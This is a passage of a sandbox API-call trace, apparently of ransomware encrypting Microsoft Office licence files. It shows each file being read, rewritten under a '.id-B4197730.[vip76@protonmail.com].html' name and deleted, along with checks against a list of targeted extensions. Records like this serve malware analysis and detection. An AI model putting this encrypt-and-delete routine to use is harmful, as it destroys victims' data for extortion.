	[0194.341] WriteFile (in: hFile=0x590, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x5620, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x5620, lpOverlapped=0x0) returned 1
	[0194.342] ReadFile (in: hFile=0x5b4, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0194.343] WriteFile (in: hFile=0x590, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x110, lpOverlapped=0x0) returned 1
	[0194.343] SetEndOfFile (hFile=0x590) returned 1
	[0194.343] CloseHandle (hObject=0x590) returned 1
	[0194.343] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.343] SetEndOfFile (hFile=0x5b4) returned 1
	[0194.347] CloseHandle (hObject=0x5b4) returned 1
	[0194.347] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0194.347] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ppd.xrm-ms")) returned 1
	[0194.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80
	[0194.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80
	[0194.349] lstrlenW (lpString=".doc") returned 4
	[0194.349] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0194.349] lstrlenW (lpString=".docx") returned 5
	[0194.349] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0194.349] lstrlenW (lpString=".pdf") returned 4
	[0194.349] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0194.349] lstrlenW (lpString=".xls") returned 4
	[0194.349] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0194.349] lstrlenW (lpString=".xlsx") returned 5
	[0194.349] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0194.349] lstrlenW (lpString=".ppt") returned 4
	[0194.349] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0194.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80
	[0194.349] lstrlenW (lpString=".zip") returned 4
	[0194.350] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0194.350] lstrlenW (lpString=".rar") returned 4
	[0194.350] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0194.350] lstrlenW (lpString=".bz2") returned 4
	[0194.350] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0194.350] lstrlenW (lpString=".7z") returned 3
	[0194.350] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0194.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80
	[0194.350] lstrlenW (lpString=".dbf") returned 4
	[0194.350] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0194.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80
	[0194.350] lstrlenW (lpString=".1cd") returned 4
	[0194.350] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0194.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80
	[0194.350] lstrlenW (lpString=".jpg") returned 4
	[0194.350] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0194.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80
	[0194.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80
	[0194.350] lstrlenW (lpString=".doc") returned 4
	[0194.350] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0194.350] lstrlenW (lpString=".docx") returned 5
	[0194.350] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0194.350] lstrlenW (lpString=".pdf") returned 4
	[0194.350] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0194.350] lstrlenW (lpString=".xls") returned 4
	[0194.350] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0194.351] lstrlenW (lpString=".xlsx") returned 5
	[0194.351] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0194.351] lstrlenW (lpString=".ppt") returned 4
	[0194.351] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0194.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80
	[0194.351] lstrlenW (lpString=".zip") returned 4
	[0194.351] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0194.351] lstrlenW (lpString=".rar") returned 4
	[0194.351] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0194.351] lstrlenW (lpString=".bz2") returned 4
	[0194.351] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0194.351] lstrlenW (lpString=".7z") returned 3
	[0194.351] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0194.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80
	[0194.351] lstrlenW (lpString=".dbf") returned 4
	[0194.351] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0194.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80
	[0194.351] lstrlenW (lpString=".1cd") returned 4
	[0194.351] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0194.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80
	[0194.351] lstrlenW (lpString=".jpg") returned 4
	[0194.351] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0194.351] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0194.351] lstrlenW (lpString="HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 34
	[0194.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0194.352] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=22094) returned 1
	[0194.352] CloseHandle (hObject=0x5b4) returned 1
	[0194.352] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ppd.xrm-ms")) returned 0x220
	[0194.352] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0194.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0194.353] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.353] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590
	[0194.354] GetLastError () returned 0x0
	[0194.354] ReadFile (in: hFile=0x5b4, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x564e, lpOverlapped=0x0) returned 1
	[0194.356] WriteFile (in: hFile=0x590, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x5650, lpOverlapped=0x0) returned 1
	[0194.358] ReadFile (in: hFile=0x5b4, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0194.358] WriteFile (in: hFile=0x590, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x118, lpOverlapped=0x0) returned 1
	[0194.358] SetEndOfFile (hFile=0x590) returned 1
	[0194.358] CloseHandle (hObject=0x590) returned 1
	[0194.358] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.358] SetEndOfFile (hFile=0x5b4) returned 1
	[0194.362] CloseHandle (hObject=0x5b4) returned 1
	[0194.362] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0194.362] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ppd.xrm-ms")) returned 1
	[0194.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84
	[0194.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84
	[0194.363] lstrlenW (lpString=".doc") returned 4
	[0194.364] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0194.364] lstrlenW (lpString=".docx") returned 5
	[0194.364] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0194.364] lstrlenW (lpString=".pdf") returned 4
	[0194.364] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0194.364] lstrlenW (lpString=".xls") returned 4
	[0194.364] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0194.364] lstrlenW (lpString=".xlsx") returned 5
	[0194.364] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0194.364] lstrlenW (lpString=".ppt") returned 4
	[0194.364] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0194.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84
	[0194.364] lstrlenW (lpString=".zip") returned 4
	[0194.364] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0194.364] lstrlenW (lpString=".rar") returned 4
	[0194.364] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0194.364] lstrlenW (lpString=".bz2") returned 4
	[0194.364] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0194.364] lstrlenW (lpString=".7z") returned 3
	[0194.364] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0194.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84
	[0194.364] lstrlenW (lpString=".dbf") returned 4
	[0194.364] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0194.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84
	[0194.364] lstrlenW (lpString=".1cd") returned 4
	[0194.364] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0194.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84
	[0194.364] lstrlenW (lpString=".jpg") returned 4
	[0194.364] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0194.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84
	[0194.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84
	[0194.365] lstrlenW (lpString=".doc") returned 4
	[0194.365] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0194.365] lstrlenW (lpString=".docx") returned 5
	[0194.365] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0194.365] lstrlenW (lpString=".pdf") returned 4
	[0194.365] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0194.365] lstrlenW (lpString=".xls") returned 4
	[0194.365] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0194.365] lstrlenW (lpString=".xlsx") returned 5
	[0194.365] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0194.365] lstrlenW (lpString=".ppt") returned 4
	[0194.365] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0194.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84
	[0194.365] lstrlenW (lpString=".zip") returned 4
	[0194.365] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0194.365] lstrlenW (lpString=".rar") returned 4
	[0194.365] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0194.365] lstrlenW (lpString=".bz2") returned 4
	[0194.365] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0194.365] lstrlenW (lpString=".7z") returned 3
	[0194.365] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0194.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84
	[0194.365] lstrlenW (lpString=".dbf") returned 4
	[0194.365] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0194.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84
	[0194.365] lstrlenW (lpString=".1cd") returned 4
	[0194.365] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0194.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84
	[0194.366] lstrlenW (lpString=".jpg") returned 4
	[0194.366] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0194.366] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0194.366] lstrlenW (lpString="HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 37
	[0194.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0194.366] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=11621) returned 1
	[0194.367] CloseHandle (hObject=0x5b4) returned 1
	[0194.367] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-oob.xrm-ms")) returned 0x220
	[0194.367] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0194.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0194.367] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.367] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590
	[0194.368] GetLastError () returned 0x0
	[0194.368] ReadFile (in: hFile=0x5b4, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x2d65, lpOverlapped=0x0) returned 1
	[0194.689] WriteFile (in: hFile=0x590, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0194.690] ReadFile (in: hFile=0x5b4, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0194.690] WriteFile (in: hFile=0x590, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x11e, lpOverlapped=0x0) returned 1
	[0194.690] SetEndOfFile (hFile=0x590) returned 1
	[0194.691] CloseHandle (hObject=0x590) returned 1
	[0194.691] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.691] SetEndOfFile (hFile=0x5b4) returned 1
	[0194.695] CloseHandle (hObject=0x5b4) returned 1
	[0194.695] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0194.695] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-oob.xrm-ms")) returned 1
	[0194.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87
	[0194.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87
	[0194.696] lstrlenW (lpString=".doc") returned 4
	[0194.696] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0194.696] lstrlenW (lpString=".docx") returned 5
	[0194.696] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0194.697] lstrlenW (lpString=".pdf") returned 4
	[0194.697] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0194.697] lstrlenW (lpString=".xls") returned 4
	[0194.697] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0194.697] lstrlenW (lpString=".xlsx") returned 5
	[0194.697] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0194.697] lstrlenW (lpString=".ppt") returned 4
	[0194.697] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0194.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87
	[0194.697] lstrlenW (lpString=".zip") returned 4
	[0194.697] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0194.697] lstrlenW (lpString=".rar") returned 4
	[0194.697] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0194.697] lstrlenW (lpString=".bz2") returned 4
	[0194.697] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0194.697] lstrlenW (lpString=".7z") returned 3
	[0194.697] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0194.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87
	[0194.697] lstrlenW (lpString=".dbf") returned 4
	[0194.697] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0194.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87
	[0194.697] lstrlenW (lpString=".1cd") returned 4
	[0194.697] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0194.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87
	[0194.697] lstrlenW (lpString=".jpg") returned 4
	[0194.697] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0194.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87
	[0194.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87
	[0194.698] lstrlenW (lpString=".doc") returned 4
	[0194.698] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0194.698] lstrlenW (lpString=".docx") returned 5
	[0194.698] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0194.698] lstrlenW (lpString=".pdf") returned 4
	[0194.698] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0194.698] lstrlenW (lpString=".xls") returned 4
	[0194.698] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0194.698] lstrlenW (lpString=".xlsx") returned 5
	[0194.698] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0194.698] lstrlenW (lpString=".ppt") returned 4
	[0194.698] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0194.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87
	[0194.698] lstrlenW (lpString=".zip") returned 4
	[0194.698] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0194.698] lstrlenW (lpString=".rar") returned 4
	[0194.698] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0194.698] lstrlenW (lpString=".bz2") returned 4
	[0194.698] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0194.698] lstrlenW (lpString=".7z") returned 3
	[0194.698] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0194.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87
	[0194.698] lstrlenW (lpString=".dbf") returned 4
	[0194.698] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0194.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87
	[0194.698] lstrlenW (lpString=".1cd") returned 4
	[0194.698] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0194.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87
	[0194.699] lstrlenW (lpString=".jpg") returned 4
	[0194.699] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0194.836] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0194.836] lstrlenW (lpString="HomeBusinessR_Retail-ul-oob.xrm-ms") returned 34
	[0194.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5dc
	[0194.837] GetFileSizeEx (in: hFile=0x5dc, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=11609) returned 1
	[0194.837] CloseHandle (hObject=0x5dc) returned 1
	[0194.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-oob.xrm-ms")) returned 0x220
	[0194.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
